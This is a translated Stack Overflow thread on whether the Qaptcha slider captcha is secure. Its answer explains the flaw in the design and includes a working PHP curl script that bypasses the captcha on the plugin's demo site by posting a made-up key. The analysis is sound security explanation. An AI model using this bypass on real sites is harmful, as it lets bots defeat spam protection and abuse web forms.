Qaptcha - 它有效吗?

20

您可以在此查看JQuery Qaptcha演示-http://www.myjqueryplugins.com/QapTcha/demo

它需要您滑动滑块来解锁并证明您是人类。我已经了解到它是如何设置随机字段值并清除它们的所有信息,但这不是通过JavaScript调用完成的吗?如果是这样,那么机器人是否只需要运行JavaScript方法,然后Qaptcha就被破解了呢?

请帮助我理解这是如何保证安全的...


我觉得这看起来一点也不安全.. 我认为一个机器人很容易模拟拖动。 - Explosion Pills
@tandu 现在已经被证明,非常不安全或者很难绕过。 - drew010
5
只有轻微的安全保障能够抵御随机机器人攻击,对于有针对性的攻击则毫无作用。 - zch
1个回答

45

很遗憾,这个验证码似乎不安全。

本文末尾有一些可以绕过它的示例代码。我编写了此脚本,没有查看任何源代码(php或javascript)。我只是嗅探了几个HTTP请求,看到了它在做什么,并试图模拟它。现在我已经查看了他们的JS代码,但还没有查看PHP,所以即使没有看到任何源代码,也可以绕过它。

根据成功和失败的快速猜测:

  • 您在其页面上加载表单,创建了一个PHP会话,其中可能没有数据。
  • 加载JS脚本生成qaptcha_key并将其附加到表单中。
  • 此密钥由JavaScript创建,未存储在服务器上(尚未)。
  • 将滑块向右移动,jQuery通过Ajax将“qaptcha_key”发布到PHP,然后该密钥存储在会话中(密钥不是机密)。
  • 提交包括先前通过Ajax发送的qaptcha_key的表单(如果移动了滑块)。
  • 如果会话中存在匹配的qaptcha_key(从移动滑块),则认为表单有效。如果不存在这样的密钥,则假定您没有移动滑块(或已禁用JS),并且由于会话不包含qaptcha_key,因此表单无效。

它能否变得更加安全?在我看来不容易。为了安全起见,密钥必须存储在服务器上,并且不能通过任何脚本或HTTP请求轻松获取。也就是说,基于某些公共值进行身份验证的Ajax请求仍然可以使用Ajax或HTTP请求进行欺骗,例如下面的示例。基本上,验证码解决方案必须存储在服务器上,并由人类(希望不是计算机)解释并发送回服务器。

这是您可以运行以绕过它的代码。基本上,如果您运行此代码,则会看到:

Form can be submited
First Name : A Test
Last Name : Of Qaptcha

在输出的结果中,正如您在代码中看到的那样,我只是一遍又一遍地使用相同的密钥。这并不重要,因为客户端会告知服务器密钥,并且当您提交表单时,Qaptcha只会检查提交的值是否与存储在PHP会话中的值匹配。因此,密钥的值并不重要,您只需要在提交表单之前告诉服务器它是什么。
我怀疑,在不久的将来,垃圾邮件发送者将实施广泛使用的Qaptcha绕过方法,并将其集成到他们的蜘蛛程序中。
概念证明:
<?php

$COOKIE_FILE = '/tmp/cookies.txt';  // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME  = 'A Test';            // first name to send
$LAST_NAME   = 'Of Qaptcha';        // last name to send

if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over

$fake_qaptcha_key = 'thisIsAFakeKey12345';  // arbitrary qaptcha_key - normally generated by client JavaScript

// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');

// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);

// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third  = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);

// echo the contents so you can see it said form was accepted.
echo $third;


// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }

    $return = curl_exec($ch);

    return $return;
}

我希望我的回答能够清晰地解答您的问题。

3
呵呵,你甚至没有模拟拖拽就完成了它! - Explosion Pills
哇,Drew - 一个非常出色、全面的答案!很高兴听到我的直觉被一个天才证实 :) 谢谢! - Shane N
现在 quaptcha 密钥存储在会话中,实际上并没有。 - Andrey Vorobyev

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接